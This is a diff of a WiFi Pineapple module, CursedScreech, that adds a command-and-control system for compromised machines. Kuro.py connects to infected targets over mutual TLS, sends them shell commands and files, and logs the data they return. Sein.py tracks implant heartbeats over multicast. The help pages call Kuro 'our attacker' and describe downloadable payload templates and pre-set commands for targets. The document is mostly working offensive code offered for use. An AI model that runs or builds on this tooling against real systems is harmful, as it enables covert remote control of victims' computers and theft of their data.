# Her screech can be heard from atop her perch,
|
||||
# commanding those fallen under her curse.
|
||||
|
||||
import select
|
||||
import sys
|
||||
import threading
|
||||
from target import Target
|
||||
|
||||
# Pull settings from file
|
||||
settingsFile = "/pineapple/modules/CursedScreech/includes/forest/settings"
|
||||
target_list = ""
|
||||
activity_log = ""
|
||||
cmd_list = ""
|
||||
settings = {}
|
||||
with open(settingsFile, "r") as sFile:
|
||||
for line in sFile:
|
||||
params = line.strip("\n").split("=")
|
||||
if params[0] == "target_list":
|
||||
target_list = params[1]
|
||||
elif params[0] == "activity_log":
|
||||
activity_log = params[1]
|
||||
elif params[0] == "cmd_list":
|
||||
cmd_list = params[1]
|
||||
else:
|
||||
pass
|
||||
|
||||
def logActivity(msg):
|
||||
with open(activity_log, "a") as log:
|
||||
log.write(msg + "\n")
|
||||
|
||||
def connectTarget(ip, port):
|
||||
target = Target(ip, int(port))
|
||||
target.secureConnect()
|
||||
if target.isConnected():
|
||||
return target
|
||||
else:
|
||||
return False
|
||||
|
||||
# A list for target objects and threads on which to receive data
|
||||
targets = []
|
||||
threads = []
|
||||
killThreads = False
|
||||
|
||||
def recvOnTarget(t):
|
||||
global killThreads
|
||||
while True:
|
||||
if killThreads == True:
|
||||
break
|
||||
|
||||
try:
|
||||
ready = select.select([t.socket], [], [], 5)
|
||||
if ready[0]:
|
||||
t.recv()
|
||||
except:
|
||||
break
|
||||
|
||||
# Function to disconnect all targets and quit
|
||||
def cleanUp(targets):
|
||||
# Close all sockets
|
||||
print "[>] Cleaning up sockets"
|
||||
logActivity("[>] Cleaning up sockets")
|
||||
|
||||
# Attempt to kill the thread
|
||||
global killThreads
|
||||
killThreads = True
|
||||
|
||||
for target in targets:
|
||||
target.disconnect()
|
||||
|
||||
# Attempt to connect to all targets and store them in the targets list
|
||||
with open(target_list, "r") as targetFile:
|
||||
for t in targetFile:
|
||||
|
||||
# Strip newline characters from the line
|
||||
t = t.strip("\n")
|
||||
|
||||
try:
|
||||
ip = t.split(":")[0]
|
||||
port = t.split(":")[1]
|
||||
|
||||
# Connect to the target and append the socket to our list
|
||||
newTarget = connectTarget(ip, port)
|
||||
if newTarget != False:
|
||||
newThread = threading.Thread(target=recvOnTarget, args=(newTarget,))
|
||||
threads.append(newThread)
|
||||
newThread.start()
|
||||
targets.append(newTarget)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
print "Interrupt detected. Moving to next target..."
|
||||
continue;
|
||||
|
||||
quitFlag = False
|
||||
if len(targets) > 0:
|
||||
try:
|
||||
logActivity("[!] Kuro is ready")
|
||||
while True:
|
||||
|
||||
# Read from the target list to see if any new targets are
|
||||
# available. If so, attempt to connect to them.
|
||||
with open(target_list, "r") as targetFile:
|
||||
for line in targetFile:
|
||||
skip = False
|
||||
line = line.strip("\n")
|
||||
ip = line.split(":")[0]
|
||||
port = line.split(":")[1]
|
||||
|
||||
# If the address is found in the target list, check if
|
||||
# the port is the same
|
||||
if any(t.addr == ip for t in targets):
|
||||
for t in targets:
|
||||
# If the ip address matches but the port does not
|
||||
# disconnect the target and remove it from the list
|
||||
if t.addr == ip and t.port != int(port):
|
||||
t.disconnect()
|
||||
targets.remove(t)
|
||||
|
||||
# Recreate the target object, connect to it, and
|
||||
# add it back to the list
|
||||
newTarget = connectTarget(ip, port)
|
||||
if newTarget != False:
|
||||
newThread = threading.Thread(target=recvOnTarget, args=(newTarget,))
|
||||
threads.append(newThread)
|
||||
newThread.start()
|
||||
targets.append(newTarget)
|
||||
else:
|
||||
newTarget = connectTarget(ip, port)
|
||||
if newTarget != False:
|
||||
newThread = threading.Thread(target=recvOnTarget, args=(newTarget,))
|
||||
threads.append(newThread)
|
||||
newThread.start()
|
||||
targets.append(newTarget)
|
||||
|
||||
# Read from cmd.log, send to targets listed, and clear
|
||||
# the file for next use.
|
||||
with open(cmd_list, "r") as cmdFile:
|
||||
for line in cmdFile:
|
||||
params = line.strip("\n").rsplit(":", 1)
|
||||
cmd = params[0]
|
||||
addr = params[1]
|
||||
|
||||
# Check if Kuro received a command to end her own process
|
||||
if cmd == "killyour" and addr == "self":
|
||||
quitFlag = True
|
||||
else:
|
||||
for t in targets:
|
||||
if t.addr == addr and t.isConnected:
|
||||
t.send(cmd)
|
||||
|
||||
# Clear the file
|
||||
open(cmd_list, "w").close()
|
||||
|
||||
# Check if it's time to quit
|
||||
if quitFlag:
|
||||
break
|
||||
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
|
||||
cleanUp(targets)
|
|
@ -0,0 +1,122 @@
|
|||
import socket
|
||||
import struct
|
||||
import sys
|
||||
from target import Target
|
||||
import threading
|
||||
import time
|
||||
|
||||
# Load settings from file and assign to vars
|
||||
settingsFile = "/pineapple/modules/CursedScreech/includes/forest/settings"
|
||||
MCAST_GROUP = IFACE = target_list = activity_log = ""
|
||||
MCAST_PORT = hbInterval = 0
|
||||
settings = {}
|
||||
with open(settingsFile, "r") as sFile:
|
||||
for line in sFile:
|
||||
params = line.strip("\n").split("=")
|
||||
if params[0] == "target_list":
|
||||
target_list = params[1]
|
||||
elif params[0] == "activity_log":
|
||||
activity_log = params[1]
|
||||
elif params[0] == "mcast_group":
|
||||
MCAST_GROUP = params[1]
|
||||
elif params[0] == "mcast_port":
|
||||
MCAST_PORT = int(params[1])
|
||||
elif params[0] == "hb_interval":
|
||||
hbInterval = int(params[1])
|
||||
elif params[0] == "iface_ip":
|
||||
IFACE = params[1]
|
||||
else:
|
||||
pass
|
||||
|
||||
# Default to a heartbeat of 5 seconds
|
||||
# if one has not been set in file
|
||||
if hbInterval == 0:
|
||||
hbInterval = 5
|
||||
|
||||
# Function to determine if a target exists in the supplied list
|
||||
def targetExists(tgt,l):
|
||||
for t in l:
|
||||
if tgt in t.addr:
|
||||
return True
|
||||
return False
|
||||
|
||||
def logActivity(msg):
|
||||
with open(activity_log, "a") as log:
|
||||
log.write(msg + "\n")
|
||||
|
||||
def writeTargets(targets):
|
||||
with open(target_list, 'w') as tlog:
|
||||
for target in targets:
|
||||
tlog.write(target.sockName() + "\n")
|
||||
|
||||
# Set up the receiver socket to listen for multicast messages
|
||||
sck = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
|
||||
sck.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
sck.bind((MCAST_GROUP, MCAST_PORT))
|
||||
sck.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MCAST_GROUP)+socket.inet_aton(IFACE))
|
||||
|
||||
# Import targets from file if any exist
|
||||
targets = []
|
||||
with open(target_list, 'r') as tList:
|
||||
for line in tList:
|
||||
targets.append(Target(line.split(":")[0], line.split(":")[1]))
|
||||
|
||||
def checkMissingTargets():
|
||||
while True:
|
||||
# Check if any targets are missing. If they are remove them
|
||||
# from the target_list and writeTargets().
|
||||
# 'Missing' is indicated by not receiving a heartbeat from a target
|
||||
# within thrice the set heartbeat interval.
|
||||
global targets
|
||||
global hbInterval
|
||||
updateTargetList = False
|
||||
for t in targets:
|
||||
if t.isMissing(hbInterval * 3):
|
||||
targets.remove(t)
|
||||
updateTargetList = True
|
||||
|
||||
if updateTargetList:
|
||||
writeTargets(targets)
|
||||
|
||||
# Set up a separate thread to constantly check if targets
|
||||
# have missed multiple heartbeats.
|
||||
threads = []
|
||||
newThread = threading.Thread(target=checkMissingTargets)
|
||||
threads.append(newThread)
|
||||
newThread.start()
|
||||
|
||||
while True:
|
||||
print "Waiting for heartbeat..."
|
||||
try:
|
||||
msg = sck.recv(10240)
|
||||
ip = msg.split(":")[0]
|
||||
port = msg.split(":")[1]
|
||||
|
||||
print "Received: " + msg
|
||||
|
||||
# The heartbeat is sometimes used to send a message telling us
|
||||
# when an invalid cert was sent to the target. This can be a sign
|
||||
# of an attacker on the network attempting to access the shell
|
||||
# we worked so hard to get on the target's system.
|
||||
# We check for messages here and direct them to the proper log.
|
||||
# For brevity's sake ip will let us know if it's a message and
|
||||
# port will contain the contents of the message.
|
||||
if ip == "msg":
|
||||
logActivity("Multicast Message: " + port)
|
||||
continue
|
||||
|
||||
# Check if the target currently exists in the target list
|
||||
# if not then append it and write the list back out to
|
||||
# target_list
|
||||
if targetExists(ip, targets):
|
||||
for i,t in enumerate(targets):
|
||||
if ip == t.addr:
|
||||
t.setPort(port)
|
||||
t.lastSeen = time.time()
|
||||
writeTargets(targets)
|
||||
else:
|
||||
targets.append(Target(ip, port))
|
||||
writeTargets(targets)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
sys.exit()
|
|
@ -0,0 +1,13 @@
|
|||
kuro_key=
|
||||
target_key=
|
||||
client_serial=File does not exist
|
||||
iface_name=br-lan
|
||||
iface_ip=172.16.42.1
|
||||
mcast_group=231.253.78.29
|
||||
mcast_port=19578
|
||||
target_list=/pineapple/modules/CursedScreech/includes/forest/targets.log
|
||||
activity_log=/pineapple/modules/CursedScreech/includes/forest/activity.log
|
||||
cmd_list=/pineapple/modules/CursedScreech/includes/forest/cmd.log
|
||||
hb_interval=5
|
||||
kuro_serial=File does not exist
|
||||
auth=1
|
|
@ -0,0 +1,126 @@
|
|||
from ssl import *
|
||||
from socket import *
|
||||
import time
|
||||
import os
|
||||
|
||||
# Pull settings from file
|
||||
settingsFile = "/pineapple/modules/CursedScreech/includes/forest/settings"
|
||||
targetLogLocation = "/pineapple/modules/CursedScreech/includes/forest/targetlogs/"
|
||||
activity_log = priv_key = pub_cer = client_key = client_serial = ""
|
||||
settings = {}
|
||||
with open(settingsFile, "r") as sFile:
|
||||
for line in sFile:
|
||||
params = line.strip("\n").split("=")
|
||||
if params[0] == "activity_log":
|
||||
activity_log = params[1]
|
||||
elif params[0] == "kuro_key":
|
||||
priv_key = params[1] + ".pem"
|
||||
pub_cer = params[1] + ".cer"
|
||||
elif params[0] == "target_key":
|
||||
client_key = params[1] + ".cer"
|
||||
elif params[0] == "client_serial":
|
||||
client_serial = params[1]
|
||||
else:
|
||||
pass
|
||||
|
||||
def logActivity(msg):
|
||||
with open(activity_log, "a") as log:
|
||||
log.write(msg + "\n")
|
||||
|
||||
def logReceivedData(data, file):
|
||||
with open(targetLogLocation + file, "a+") as tLog:
|
||||
tLog.write(data + "\n")
|
||||
|
||||
class Target:
|
||||
def __init__(self,addr=None,port=None):
|
||||
self.addr = addr
|
||||
self.port = int(port)
|
||||
self.socket = None
|
||||
self.msg = ""
|
||||
self.recvData = ""
|
||||
self.connected = False
|
||||
self.lastSeen = time.time()
|
||||
|
||||
def secureConnect(self):
|
||||
print "[>] Connecting to " + self.sockName()
|
||||
logActivity("[>] Connecting to " + self.sockName())
|
||||
|
||||
try:
|
||||
sck = socket(AF_INET, SOCK_STREAM)
|
||||
self.socket = wrap_socket(sck, ssl_version=PROTOCOL_SSLv23, keyfile=priv_key, certfile=pub_cer, cert_reqs=CERT_REQUIRED, ca_certs=client_key)
|
||||
self.socket.settimeout(10)
|
||||
self.socket.connect((self.addr,self.port))
|
||||
self.socket.settimeout(None)
|
||||
|
||||
# Fetch the target's certificate to verify their identity
|
||||
cert = self.socket.getpeercert()
|
||||
if not cert['serialNumber'] == client_serial:
|
||||
logActivity("[-] Certificate serial number doesn't match.")
|
||||
self.disconnect()
|
||||
else:
|
||||
print "[+] Connected to " + self.sockName() + " via " + self.socket.version()
|
||||
logActivity("[+] Connected to " + self.sockName() + " via " + self.socket.version())
|
||||
self.connected = True
|
||||
|
||||
except error as sockerror:
|
||||
logActivity("[!] Failed to connect to " + self.sockName())
|
||||
self.connected = False
|
||||
|
||||
def send(self, data):
|
||||
if self.isConnected():
|
||||
|
||||
if "sendfile;" in data:
|
||||
dataParts = data.split(";")
|
||||
filePath = dataParts[1]
|
||||
storeDir = dataParts[2]
|
||||
self.socket.sendall("sendfile;" + os.path.basename(filePath) + ";" + str(os.path.getsize(filePath)) + ";" + storeDir)
|
||||
with open(filePath, "rb") as f:
|
||||
self.socket.sendall(f.read())
|
||||
logActivity("[!] File sent to " + self.sockName())
|
||||
else:
|
||||
self.socket.sendall(data.encode())
|
||||
logActivity("[!] Command sent to " + self.sockName())
|
||||
logReceivedData(data, self.addr)
|
||||
|
||||
|
||||
def recv(self):
|
||||
try:
|
||||
d = self.socket.recv(4096)
|
||||
self.recvData = d.decode()
|
||||
|
||||
if not self.recvData:
|
||||
self.disconnect()
|
||||
return
|
||||
|
||||
logReceivedData(self.recvData, self.addr)
|
||||
logActivity("[+] Data received from: " + self.sockName())
|
||||
|
||||
except KeyboardInterrupt:
|
||||
return
|
||||
|
||||
except:
|
||||
self.disconnect()
|
||||
|
||||
def isConnected(self):
|
||||
return self.connected
|
||||
|
||||
def sockName(self):
|
||||
return self.addr + ":" + str(self.port)
|
||||
|
||||
def disconnect(self):
|
||||
logActivity("[!] Closing connection to " + self.sockName())
|
||||
try:
|
||||
self.socket.shutdown(SHUT_RDWR)
|
||||
except:
|
||||
pass
|
||||
self.socket.close()
|
||||
self.connected = False
|
||||
|
||||
def setPort(self, port):
|
||||
self.port = int(port)
|
||||
|
||||
def isMissing(self, limit):
|
||||
if time.time() - self.lastSeen > limit:
|
||||
return True
|
||||
else:
|
||||
return False
|
|
@ -0,0 +1,8 @@
|
|||
This log contains the output of Kuro. It will inform you when a connection is initiated, when
|
||||
a connection has been established with a target, the set TLS level with the target, when a command
|
||||
has been sent to a target, when data is received from a target, and when targets are disconnected.
|
||||
<br /><br />
|
||||
Sometimes, Sein will interject and add a message to the log. This only occurs when a target has
|
||||
received a connection request from an attacker holding a key different from Kuro's. A message is
|
||||
sent to the multicast group, Sein receives it, and posts it in the activity log. This informs you
|
||||
that someone other than yourself is trying to access the shell on your target.
|
|
@ -0,0 +1,11 @@
|
|||
<strong>Encrypted</strong><br />
|
||||
Displays if the private key (.pem) is encrypted. Does not include encryption on .pfx containers.
|
||||
<br /><br />
|
||||
|
||||
<strong>Select</strong><br />
|
||||
When you click Select the associated key will be used. Both the private and public key will be used for Kuro.py and only the public key will be used for the target. This is so each program can verify the other when communicating over the network.
|
||||
<br /><br />
|
||||
<font color="red">
|
||||
Do not select encrypted keys for Kuro. You will not be able to start the process if encrypted keys are used. You may select encrypted keys for the target if you are using C# to write your payload.
|
||||
</font>
|
||||
|
|
@ -0,0 +1,39 @@
|
|||
<h4>Listening Interface</h4>
|
||||
This is the interface that will be used for the multicast socket. br-lan is the Pineapple
|
||||
network and is what you will use if your targets are connecting to your Pineapple directly.
|
||||
<br /><br />
|
||||
|
||||
<h4>Multicast Group</h4>
|
||||
This is the address on which target heartbeats will be sent and received. The group needs to be
|
||||
the same for both Sein and your targets in order for Sein to receive the messages.
|
||||
<br /><br />
|
||||
|
||||
<h4>Multicast Port</h4>
|
||||
This is the port on which Sein will receive messages from targets. This same port needs to be
|
||||
reflected in the startMulticaster() method of your payload.
|
||||
<br /><br />
|
||||
|
||||
<h4>Heartbeat Interval</h4>
|
||||
The interval at which the payload will broadcast its listening address to Sein. Sein uses this
|
||||
value, multiplied by 3, to determine if a target has dropped off the network (i.e. three heartbeats
|
||||
have been missed, therefore, the target must be offline).
|
||||
<br /><br />
|
||||
|
||||
<h4>Kuro Keys</h4>
|
||||
The set of keys that Kuro will use for TLS communication. Your payload will verify Kuro's public
|
||||
certificate if you use the API (which you should).
|
||||
<br /><br />
|
||||
|
||||
<h4>Target Keys</h4>
|
||||
The set of keys used by the payload for TLS communication. Kuro will verify the target's public
|
||||
certificate upon connection.
|
||||
<br /><br />
|
||||
|
||||
<h4>C# Payload</h4>
|
||||
Downloads an archive containing the C# API, documentation, and a template C# payload configured
|
||||
with the settings used here.
|
||||
<br /><br />
|
||||
|
||||
<h4>Python Payload</h4>
|
||||
Downloads an archive containing the Python API, documentation, and a template Python payload
|
||||
configured with the settings used here.
|
|
@ -0,0 +1,14 @@
|
|||
<h4>Sein</h4>
|
||||
Sein is our information gatherer. It listens on the multicast group and port in Settings and
|
||||
updates our target list when a compromised system is found.
|
||||
<br /><br />
|
||||
|
||||
<h4>Kuro</h4>
|
||||
Kuro is our attacker that sends out commands to the clients you select. At startup it attempts to
|
||||
connect to all clients in the list. If Sein finds new targets while Kuro is running, connections to
|
||||
them will be attempted automatically. Commands are sent asynchronously and returned data is received
|
||||
in the same manner.
|
||||
<br /><br />
|
||||
|
||||
<h4>Dependencies</h4>
|
||||
The only dependency required is zip for downloading payloads and target logs.
|
|
@ -0,0 +1,30 @@
|
|||
<h4>EZ Cmds (select)</h4>
|
||||
Pre-configured commands that can be sent to targets.
|
||||
<br /><br />
|
||||
|
||||
<h4>EZ Cmds (button)</h4>
|
||||
Open the EZ Cmds manager where you can add, edit, or delete EZ Cmds that appear in the list.
|
||||
<br /><br />
|
||||
|
||||
<h4>Send command to target</h4>
|
||||
Manually enter a command to send to targets.
|
||||
<br /><br />
|
||||
|
||||
<h4>Target List</h4>
|
||||
Displays the targets that are currently sending heartbeats to Sein. You can view, download,
|
||||
and clear received data.
|
||||
<br /><br />
|
||||
|
||||
<h4>Clear Targets</h4>
|
||||
Clears the target list. If targets are still online and sending heartbeats to Sein they will
|
||||
reappear in the list.
|
||||
<br /><br />
|
||||
|
||||
<h4>All Logs</h4>
|
||||
View, download, and delete logs from all clients, even those who were once connected but no longer
|
||||
show up in the target list.
|
||||
<br /><br />
|
||||
|
||||
<h4>Payloads</h4>
|
||||
Manage payloads that can be sent to targets. Use the 'Configure Upload Limit' link if your payload fails to upload
|
||||
due to size restrictions.
|
After Width: | Height: | Size: 1.3 KiB |
After Width: | Height: | Size: 1.4 KiB |
After Width: | Height: | Size: 1.4 KiB |
After Width: | Height: | Size: 1.4 KiB |
After Width: | Height: | Size: 1.4 KiB |
After Width: | Height: | Size: 1.2 KiB |
After Width: | Height: | Size: 1.2 KiB |
After Width: | Height: | Size: 1.3 KiB |
|
@ -0,0 +1,20 @@
|
|||
#!/bin/sh
|
||||
|
||||
if [ $# -lt 1 ]; then
|
||||
echo "Usage: $0 <serial>";
|
||||
exit;
|
||||
fi
|
||||
|
||||
orig=$1
|
||||
serial=""
|
||||
|
||||
i=${#orig}
|
||||
|
||||
while [ $i -gt 0 ]
|
||||
do
|
||||
i=$(($i-2));
|
||||
serial="$serial${orig:$i:2}-"
|
||||
done
|
||||
|
||||
|
||||
echo $serial"00"
|
|
@ -0,0 +1,41 @@
|
|||
#!/usr/bin/python
|
||||
|
||||
from subprocess import call
|
||||
|
||||
php = "/etc/php.ini"
|
||||
nginx = "/etc/nginx/nginx.conf"
|
||||
|
||||
lines = [f for f in open(php)]
|
||||
with open(php, "w") as out:
|
||||
for line in lines:
|
||||
if "upload_max_filesize" in line:
|
||||
parts = line.split("=")
|
||||
parts[1] = " 20M\n"
|
||||
line = "=".join(parts)
|
||||
if "post_max_size" in line:
|
||||
parts = line.split("=")
|
||||
parts[1] = " 26M\n"
|
||||
line = "=".join(parts)
|
||||
out.write(line)
|
||||
call(["/etc/init.d/php5-fpm", "reload"])
|
||||
|
||||
httpBlock = False
|
||||
needsCfg = True
|
||||
index = innerIndex = 0
|
||||
lines = [f for f in open(nginx)]
|
||||
for line in lines:
|
||||
if "client_max_body_size" in line:
|
||||
needsCfg = False
|
||||
break
|
||||
if needsCfg is True:
|
||||
with open(nginx, "w") as out:
|
||||
for line in lines:
|
||||
if "http {" in line:
|
||||
httpBlock = True
|
||||
if httpBlock is True:
|
||||
if innerIndex == 4:
|
||||
lines.insert(index + 1, "\tclient_max_body_size 20M;\n")
|
||||
innerIndex = innerIndex + 1
|
||||
index = index + 1
|
||||
out.write(line)
|
||||
call(["/etc/init.d/nginx", "reload"])
|
|
@ -0,0 +1,9 @@
|
|||
#!/bin/sh
|
||||
|
||||
testZip=$(opkg list-installed | grep 'zip')
|
||||
|
||||
if [ -z "$testZip" ]; then
|
||||
echo "Not Installed";
|
||||
else
|
||||
echo "Installed";
|
||||
fi
|
|
@ -0,0 +1,14 @@
|
|||
#!/bin/sh
|
||||
|
||||
if [[ $# -lt 1 ]]; then
|
||||
echo "Usage: $0 <path to cert>";
|
||||
exit;
|
||||
fi
|
||||
|
||||
if ! [[ -e $1 ]]; then
|
||||
echo "File does not exist"
|
||||
exit;
|
||||
fi
|
||||
|
||||
print=$(echo $(openssl x509 -noout -in $1 -serial) | sed 's/://g')
|
||||
echo $print | tr "=" " " | awk '{print $2}'
|
|
@ -0,0 +1,8 @@
|
|||
#!/bin/sh
|
||||
|
||||
if [ $# -lt 1 ]; then
|
||||
echo "Usage: $0 <certificate>";
|
||||
exit;
|
||||
fi
|
||||
|
||||
openssl x509 -in $1 -noout -fingerprint | awk '{print $2}'
|
|
@ -0,0 +1,9 @@
|
|||
#!/bin/bash
|
||||
|
||||
if [ $# -lt 1 ]; then
|
||||
echo "Usage: $0 <iface>";
|
||||
exit;
|
||||
fi
|
||||
|
||||
|
||||
ifconfig $1 | grep inet | awk '{split($2,a,":"); print a[2]}'
|
|
@ -0,0 +1,11 @@
|
|||
#!/bin/bash
|
||||
|
||||
IFCS=$(ifconfig | cut -d " " -f1 | awk 'NF==1{print $1}')
|
||||
for iface in ${IFCS[@]}; do
|
||||
if [[ $iface == "lo" ]]; then
|
||||
continue
|
||||
fi
|
||||
if [[ $(ifconfig $iface | grep inet) != "" ]]; then
|
||||
echo $iface
|
||||
fi
|
||||
done
|
|
@ -0,0 +1,8 @@
|
|||
#!/bin/sh
|
||||
|
||||
# Author: sud0nick
|
||||
# Date: Jan 2016
|
||||
|
||||
opkg update > /dev/null;
|
||||
opkg install zip > /dev/null;
|
||||
echo "Complete"
|
|
@ -0,0 +1,49 @@
|
|||
#!/bin/sh
|
||||
|
||||
# Author: sud0nick
|
||||
# Date: Jan 2016
|
||||
|
||||
help() {
|
||||
echo "Usage: $0 <dir> <opts>";
|
||||
echo '';
|
||||
echo 'Parameters:';
|
||||
echo '';
|
||||
echo -e '\tdir:\tDirectory where the files reside';
|
||||
echo -e '\t-f:\tFile names as string value';
|
||||
echo -e '\t-o:\tName of output file';
|
||||
echo '';
|
||||
}
|
||||
|
||||
if [ "$#" -lt 1 ]; then
|
||||
help;
|
||||
exit;
|
||||
fi
|
||||
|
||||
# Define and clear out the download directory
|
||||
DL_DIR="/pineapple/modules/CursedScreech/includes/api/downloads/";
|
||||
rm -rf $DL_DIR*
|
||||
|
||||
# Get the key directory and shift it out of the argument vectors
|
||||
API_DIR="$1";
|
||||
shift;
|
||||
|
||||
FILES='';
|
||||
OUTPUT='';
|
||||
export IFS=" ";
|
||||
|
||||
while [ "$#" -gt 0 ]
|
||||
do
|
||||
|
||||
if [[ "$1" == "-f" ]]; then
|
||||
for word in $2; do
|
||||
FILES="$FILES $API_DIR$word";
|
||||
done
|
||||
fi
|
||||
if [[ "$1" == "-o" ]]; then
|
||||
OUTPUT="$2";
|
||||
fi
|
||||
|
||||
shift
|
||||
done;
|
||||
|
||||
zip -j $DL_DIR$OUTPUT $FILES > /dev/null;
|
|
@ -0,0 +1,6 @@
|
|||
#!/bin/sh
|
||||
|
||||
# Author: sud0nick
|
||||
# Date: Jan 2016
|
||||
|
||||
opkg remove zip > /dev/null;
|
|
@ -0,0 +1,35 @@
|
|||
#!/bin/sh
|
||||
|
||||
|
||||
help() {
|
||||
echo "Usage: ./testEncrypt.sh <opts>";
|
||||
echo '';
|
||||
echo 'Parameters:';
|
||||
echo '';
|
||||
echo -e '\t-d:\tDirectory where key resides';
|
||||
echo -e '\t-k:\tName of key to test';
|
||||
echo '';
|
||||
}
|
||||
|
||||
if [ "$#" -lt 2 ]; then
|
||||
help;
|
||||
exit;
|
||||
fi
|
||||
|
||||
KEY=''
|
||||
KEYDIR=''
|
||||
|
||||
while [ "$#" -gt 0 ]
|
||||
do
|
||||
|
||||
if [[ "$1" == "-k" ]]; then
|
||||
KEY="$2.pem"
|
||||
fi
|
||||
if [[ "$1" == "-d" ]]; then
|
||||
KEYDIR="$2"
|
||||
fi
|
||||
|
||||
shift
|
||||
done;
|
||||
|
||||
openssl rsa -in $KEYDIR$KEY -passin pass: | awk 'NR==0;'
|
|
@ -0,0 +1,734 @@
|
|||
registerController('CursedScreechController', ['$api', '$scope', '$sce', '$interval', '$http', function($api, $scope, $sce, $interval, $http) {
|
||||
|
||||
// Location of payload directory
|
||||
$scope.payloadDir = "/pineapple/modules/CursedScreech/includes/payloads/";
|
||||
|
||||
// Throbbers
|
||||
$scope.showSettingsThrobber = false;
|
||||
$scope.showSeinThrobber = false;
|
||||
$scope.showKuroThrobber = false;
|
||||
$scope.uploadLimitThrobber = false;
|
||||
|
||||
// Depends vars
|
||||
$scope.dependsProcessing = false;
|
||||
$scope.dependsInstalled = false;
|
||||
|
||||
// Settings vars
|
||||
$scope.settings_ifaceName = '';
|
||||
$scope.available_interfaces = '';
|
||||
$scope.settings_mcastGroup = '';
|
||||
$scope.settings_mcastPort = '';
|
||||
$scope.settings_hb_interval = '';
|
||||
$scope.settings_kuroKey = '';
|
||||
$scope.settings_targetKey = '';
|
||||
$scope.settings_auth = false;
|
||||
|
||||
// Proc statuses
|
||||
$scope.seinStatus = 'Not Running';
|
||||
$scope.seinButton = 'Start';
|
||||
$scope.kuroStatus = 'Not Running';
|
||||
$scope.kuroButton = 'Start';
|
||||
$scope.seinIsRunning = false;
|
||||
$scope.kuroIsRunning = false;
|
||||
|
||||
// Log vars
|
||||
$scope.currentLogTitle = '';
|
||||
$scope.currentLogData = '';
|
||||
$scope.activityLogData = '';
|
||||
$scope.targets = [];
|
||||
$scope.allTargetLogs = [];
|
||||
|
||||
// Key vars
|
||||
$scope.certificates = '';
|
||||
$scope.keyErrorMessage = '';
|
||||
$scope.selectKuroKey = false;
|
||||
$scope.selectTargetKey = false;
|
||||
|
||||
// Target Commands
|
||||
$scope.targetCommand = "";
|
||||
$scope.ezcmds = [];
|
||||
$scope.selectedCmd = "";
|
||||
$scope.newCmdName = "";
|
||||
$scope.newCmdCommand = "";
|
||||
$scope.checkAllTargets = false;
|
||||
|
||||
// Panes
|
||||
$scope.showTargetPane = true;
|
||||
$scope.showPayloadPane = false;
|
||||
|
||||
// Payload Vars
|
||||
$scope.payloads = [];
|
||||
$scope.selectedFiles = [];
|
||||
$scope.uploading = false;
|
||||
$scope.selectedPayload = "";
|
||||
$scope.showPayloadSelect = false;
|
||||
|
||||
// Interval vars
|
||||
$scope.stop;
|
||||
|
||||
/* ============================================= */
|
||||
/* BEGIN DEPENDS FUNCTIONS */
|
||||
/* ============================================= */
|
||||
|
||||
$scope.depends = (function(task){
|
||||
if (task == "install" || task == "remove") {
|
||||
$scope.dependsProcessing = true;
|
||||
}
|
||||
$api.request({
|
||||
module: 'CursedScreech',
|
||||
action: 'depends',
|
||||
task: task
|
||||
},function(response) {
|
||||
if (task == "install") {
|
||||
$scope.dependsProcessing = false;
|
||||
if (response.success === false) {
|
||||
alert("Failed to install dependencies. Make sure you are connected to the internet.");
|
||||
} else {
|
||||
$scope.depends("check");
|
||||
}
|
||||
} else if (task == "remove") {
|
||||
$scope.dependsProcessing = false;
|
||||
$scope.depends("check");
|
||||
} else if (task == "check") {
|
||||
$scope.dependsInstalled = (response.success === true) ? true : false;
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
/* ============================================= */
|
||||
/* BEGIN SETTINGS FUNCTIONS */
|
||||
/* ============================================= */
|
||||
|
||||
$scope.loadSettings = (function(){
|
||||
$api.request({
|
||||
module: 'CursedScreech',
|
||||
action: 'loadSettings'
|
||||
},function(response){
|
||||
if (response.success === true) {
|
||||
var configs = response.data;
|
||||
$scope.settings_ifaceName = configs.iface_name;
|
||||
$scope.settings_mcastGroup = configs.mcast_group;
|
||||
$scope.settings_mcastPort = configs.mcast_port;
|
||||
$scope.settings_hb_interval = configs.hb_interval;
|
||||
$scope.settings_kuroKey = configs.kuro_key;
|
||||
$scope.settings_targetKey = configs.target_key;
|
||||
$scope.settings_auth = (configs.auth == 1) ? true : false;
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$scope.updateSettings = (function(){
|
||||
$scope.showSettingsThrobber = true;
|
||||
// Add the settings variables to a dictionary
|
||||
data = {
|
||||
'iface_name': $scope.settings_ifaceName,
|
||||
'mcast_group': $scope.settings_mcastGroup,
|
||||
'mcast_port': $scope.settings_mcastPort,
|
||||
'hb_interval': $scope.settings_hb_interval,
|
||||
'kuro_key': $scope.settings_kuroKey,
|
||||
'target_key': $scope.settings_targetKey,
|
||||
'auth': $scope.settings_auth
|
||||
};
|
||||
|
||||
// Make the request to update the settings
|
||||
$api.request({
|
||||
module: 'CursedScreech',
|
||||
action: 'updateSettings',
|
||||
settings: data
|
||||
},function(response) {
|
||||
if (response.success === true) {
|
||||
$scope.loadSettings();
|
||||
}
|
||||
$scope.showSettingsThrobber = false;
|
||||
});
|
||||
});
|
||||
|
||||
$scope.useDefault = (function(setting){
|
||||
if (setting == "mcast_group") {
|
||||
$scope.settings_mcastGroup = '231.253.78.29';
|
||||
} else if (setting == "mcast_port") {
|
||||
$scope.settings_mcastPort = '19578';
|
||||
} else if (setting == "hb_interval") {
|
||||
$scope.settings_hb_interval = "5";
|
||||
} else if (setting == "auth") {
|
||||
$scope.settings_auth = false;
|
||||
}
|
||||
});
|
||||
|
||||
$scope.loadAvailableInterfaces = (function(){
|
||||
$api.request({
|
||||
module: 'CursedScreech',
|
||||
action: 'loadAvailableInterfaces'
|
||||
},function(response){
|
||||
if (response.success === true) {
|
||||
$scope.available_interfaces = response.data;
|
||||
} else {
|
||||
alert("An error has occurred. Check the logs for details");
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
/* ============================================= */
|
||||
/* BEGIN PROCESS FUNCTIONS */
|
||||
/* ============================================= */
|
||||
|
||||
$scope.startProc = (function(name){
|
||||
if (name == "sein.py") {
